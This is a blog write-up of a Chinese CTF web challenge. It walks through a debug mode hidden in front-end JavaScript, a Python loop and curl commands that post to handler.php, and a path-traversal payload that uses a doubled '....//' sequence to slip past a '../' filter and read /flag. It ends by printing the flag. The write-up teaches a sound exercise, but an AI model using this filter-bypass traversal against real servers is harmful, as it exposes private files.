第五届“长城杯”-web文曲签学

1

看到题目大概率漏洞在前端js代码

分析js代码

// 元素获取
        const fnKey = document.getElementById('fnKey');
        const capsKey = document.getElementById('capsKey');
        const searchKey = document.getElementById('searchKey');
        const clearKey = document.getElementById('clearKey');
        const inputBox = document.getElementById('inputBox');
        const screenContent = document.getElementById('screenContent');
        const debugHint = document.getElementById('debugHint');
        const capsHint = document.getElementById('capsHint');
        const keys = document.querySelectorAll('.key');
        const menuKey = document.getElementById('menuKey');
        const backKey = document.getElementById('backKey');
        
        // 状态变量
        let debugMode = false;
        let isUpperCase = true; // 默认大写
        let fnPressTimer = null;
        const FN_HOLD_DURATION = 1500; // 长按Fn键激活调试模式的时间(毫秒)
        let isMenuActive = false; // 菜单激活状态(true=处于菜单选择中,false=普通输入)

        // Fn键长按激活调试模式
        fnKey.addEventListener('mousedown', function() {
            this.classList.add('key-press');
            fnPressTimer = setTimeout(() => {
                debugMode = !debugMode;
                if (debugMode) {
                    addScreenMessage("[调试模式已激活]", "text-yellow-300");
                    debugHint.style.display = 'block';
                } else {
                    addScreenMessage("[调试模式已关闭]", "text-red-400");
                    debugHint.style.display = 'none';
                }
            }, FN_HOLD_DURATION);
        });

        fnKey.addEventListener('mouseup', function() {
            this.classList.remove('key-press');
            clearTimeout(fnPressTimer);
        });

        fnKey.addEventListener('mouseleave', function() {
            this.classList.remove('key-press');
            clearTimeout(fnPressTimer);
        });

        // 大小写切换功能
        capsKey.addEventListener('click', function() {
            this.classList.add('key-press');
            setTimeout(() => this.classList.remove('key-press'), 100);
            
            isUpperCase = !isUpperCase;
            if (isUpperCase) {
                this.classList.add('caps-active');
                capsHint.style.display = 'block';
                addScreenMessage("[大写模式]", "text-red-400");
            } else {
                this.classList.remove('caps-active');
                capsHint.style.display = 'none';
                addScreenMessage("[小写模式]", "text-green-400");
            }
        });

        // 字母键点击事件(核心:菜单状态下A/B/C触发选择,其他键正常输入)
        keys.forEach(key => {
            key.addEventListener('click', function() {
                this.classList.add('key-press');
                setTimeout(() => this.classList.remove('key-press'), 100);
                
                const keyChar = this.textContent; // 获取当前按键的字符(A/B/C/其他)

                // 1. 菜单激活状态:优先处理A/B/C选择
                if (isMenuActive) {
                    if (['A', 'B', 'C'].includes(keyChar)) {
                        handleMenuSelection(keyChar); // 触发菜单选择逻辑
                    } else {
                        // 非A/B/C键提示无效
                        addScreenMessage(`[无效选择] 请按A/B/C`, "text-red-400");
                    }
                    return; // 菜单状态下不执行普通输入
                }

                // 2. 普通输入状态:处理所有字母键输入
                let inputChar = keyChar;
                // 根据大小写模式转换字符(#号不转换)
                if (!isUpperCase && keyChar !== '#') {
                    inputChar = inputChar.toLowerCase();
                }
                inputBox.value += inputChar;
                inputBox.focus();
            });
        });

        // 菜单键功能(更新菜单选项为A/B/C)
        menuKey.addEventListener('click', function() {
            this.classList.add('key-press');
            setTimeout(() => this.classList.remove('key-press'), 100);
            
            // 切换菜单状态
            if (!isMenuActive) {
                isMenuActive = true;
                addScreenMessage("[菜单已激活]");
                addScreenMessage("A. 天气"); // A对应查词
                addScreenMessage("B. 游戏"); // B对应游戏
                addScreenMessage("C. 设置"); // C对应设置
                inputBox.value = ""; // 清空输入框,避免干扰
            } else {
                isMenuActive = false;
                addScreenMessage("[菜单已关闭]");
                addScreenMessage("返回普通输入模式");
            }
        });

        // 核心:处理菜单选择(A/B/C对应不同功能回显)
        function handleMenuSelection(key) {
            switch(key) {
                case "A":
                    addScreenMessage("> A"); // 回显选择的按键
                    addScreenMessage("今天天气很好,记得继续保持好心情呀~");
                    isMenuActive = false; // 选择后自动退出菜单,允许输入单词
                    break;
                case "B":
                    addScreenMessage("> B");
                    addScreenMessage("『英雄坛说』加载中...");
                    addScreenMessage("(抱歉呀,你手里这台98年产的文曲星,还停留在按键敲出清脆声响的年代,2007年的游戏,它还不认识呢~)");
                    isMenuActive = false;
                    break;
                case "C":
                    addScreenMessage("> C");
                    addScreenMessage("当前配置:");
                    addScreenMessage("  亮度:50% | 音量:0%");
                    addScreenMessage("(这台文曲星实在太老啦,按键边缘都磨出了包浆,连基础设置功能都早已歇业,再也调不了背光亮度啦~)");
                    isMenuActive = false;
                    break;
                default:
                    addScreenMessage(`> ${key}`);
                    addScreenMessage("[错误] 请按A/B/C选择", "text-red-400");
            }
        }

        // 返回键功能(菜单状态下按返回键关闭菜单)
        backKey.addEventListener('click', function() {
            this.classList.add('key-press');
            setTimeout(() => this.classList.remove('key-press'), 100);
            
            // 菜单状态下优先关闭菜单
            if (isMenuActive) {
                isMenuActive = false;
                addScreenMessage("[返回] 菜单已关闭");
                inputBox.value = "";
                return;
            }
            
            // 普通状态下删除最后一个字符
            if (inputBox.value.length > 0) {
                inputBox.value = inputBox.value.slice(0, -1);
            } else {
                addScreenMessage("[返回上级]");
            }
        });

        // 查词/执行指令功能(保留原有逻辑)
        searchKey.addEventListener('click', function() {
            this.classList.add('key-press');
            setTimeout(() => this.classList.remove('key-press'), 100);
            
            const input = inputBox.value.trim();
            if (!input) {
                addScreenMessage("请输入内容");
                return;
            }

            addScreenMessage(`> ${input}`);
            
            // 发送请求到后端
            fetch('handler.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: `action=${debugMode ? 'command' : 'lookup'}&content=${encodeURIComponent(input)}`
            })
            .then(response => response.text())
            .then(data => {
                if (data.includes('ERROR:')) {
                    addScreenMessage(data.replace('ERROR:', ''), 'text-red-400');
                } else {
                    const displayData = data.replace(/\n/g, '<br>');
                    addScreenMessage(displayData);
                }
            })
            .catch(error => {
                addScreenMessage(`请求失败: ${error.message}`, 'text-red-400');
            });
        });

        // 清空功能(清空时关闭菜单)
        clearKey.addEventListener('click', function() {
            this.classList.add('key-press');
            setTimeout(() => this.classList.remove('key-press'), 100);
            inputBox.value = '';
            
            // 菜单状态下清空时同步关闭菜单
            if (isMenuActive) {
                isMenuActive = false;
                addScreenMessage("[菜单已关闭] 输入已清空");
            } else {
                addScreenMessage("已清空输入");
            }
        });

        // 屏幕消息添加函数
        function addScreenMessage(message, className = '') {
            const p = document.createElement('p');
            p.innerHTML = message;
            if (className) {
                p.className = className;
            }
            screenContent.appendChild(p);
            // 自动滚动到底部
            screenContent.scrollTop = screenContent.scrollHeight;
        }

        // 键盘输入处理(支持键盘A/B/C选择菜单)
        document.addEventListener('keydown', function(e) {
            // 阻止默认行为,避免重复输入
            if (/^[a-z#]$/i.test(e.key) || e.key === 'Backspace' || e.key === 'Enter') {
                e.preventDefault();
            }
            
            const key = e.key.toUpperCase(); // 统一转为大写处理(兼容大小写输入)

            // 菜单状态下,优先处理A/B/C键(键盘输入)
            if (isMenuActive && ['A', 'B', 'C'].includes(key)) {
                handleMenuSelection(key);
                return;
            }

            // 普通输入状态处理
            if (/^[A-Z]$/.test(key)) {
                let inputChar = isUpperCase ? key : key.toLowerCase();
                inputBox.value += inputChar;
            } else if (key === '#') {
                inputBox.value += '#';
            } else if (e.key === 'Enter') {
                searchKey.click();
            } else if (e.key === 'Backspace') {
                backKey.click(); // 复用返回键逻辑(含菜单关闭)
            } else if (e.key === 'Escape') {
                clearKey.click(); // 复用清空键逻辑(含菜单关闭)
            } else if (e.key === 'CapsLock') {
                capsKey.click(); // 同步系统大小写
            }
        });

可以发现有交互,写一个脚本去测试命令

import requests

url = "https://eci-2ze7eicqyoe450k8jbnb.cloudeci1.ichunqiu.com/handler.php"

while True:
    cmd = input("CTF$ ")
    if not cmd:
        continue
    data = {
        "action": "command",
        "content": cmd
    }
    r = requests.post(url, data=data, verify=False)
    print(r.text)

help可以发现有提示

也可以使用curl

前端 JS 显示

fetch('handler.php', { method: 'POST', headers: {'Content-Type':'application/x-www-form-urlencoded'}, body: 'action=' + (debugMode ? 'command' : 'lookup') + '&content=' + encodeURIComponent(input) })

因此要用 POST、Content-Type: application/x-www-form-urlencoded,并在 body 里发送 action=command&content=...

-H 用来设置自定义 HTTP 请求头

curl -s -X POST "https://eci-2ze7eicqyoe450k8jbnb.cloudeci1.ichunqiu.com/handler.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=command&content=list" | sed -n '1,200p'

2

输入HINT

看到提示

yeran@SURPRISE:/$ curl -s -X POST "https://eci-2ze7eicqyoe450k8jbnb.cloudeci1.ichunqiu.com/handler.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-raw "action=command&content=read%20HINT"

文件内容:
关注微信公众号“春秋伽玛”回复“文曲旧时光”可获得提示。

提示:
flag在/flag下,可以尝试目录穿越漏洞来读取它。
会过滤“../”,可以使用双写来绕过。
文件名有大小写区分。

curl -s -X POST "https://eci-2zeilxbxek9nvokt087l.cloudeci1.ichunqiu.com:80/handler.php"   -H "Content-Type: application/x-www-form-urlencoded"   --data-raw "action=command&content=read%20....//....//....//....//flag"

-data-raw把后面给的内容原样当作 HTTP 请求体发送

3

拿到flag

flag{7f0b3605-a230-4d33-80c7-d48783381429}

posted @ 2025-09-14 17:09  yeran烨染  阅读(27)  评论(0)    收藏  举报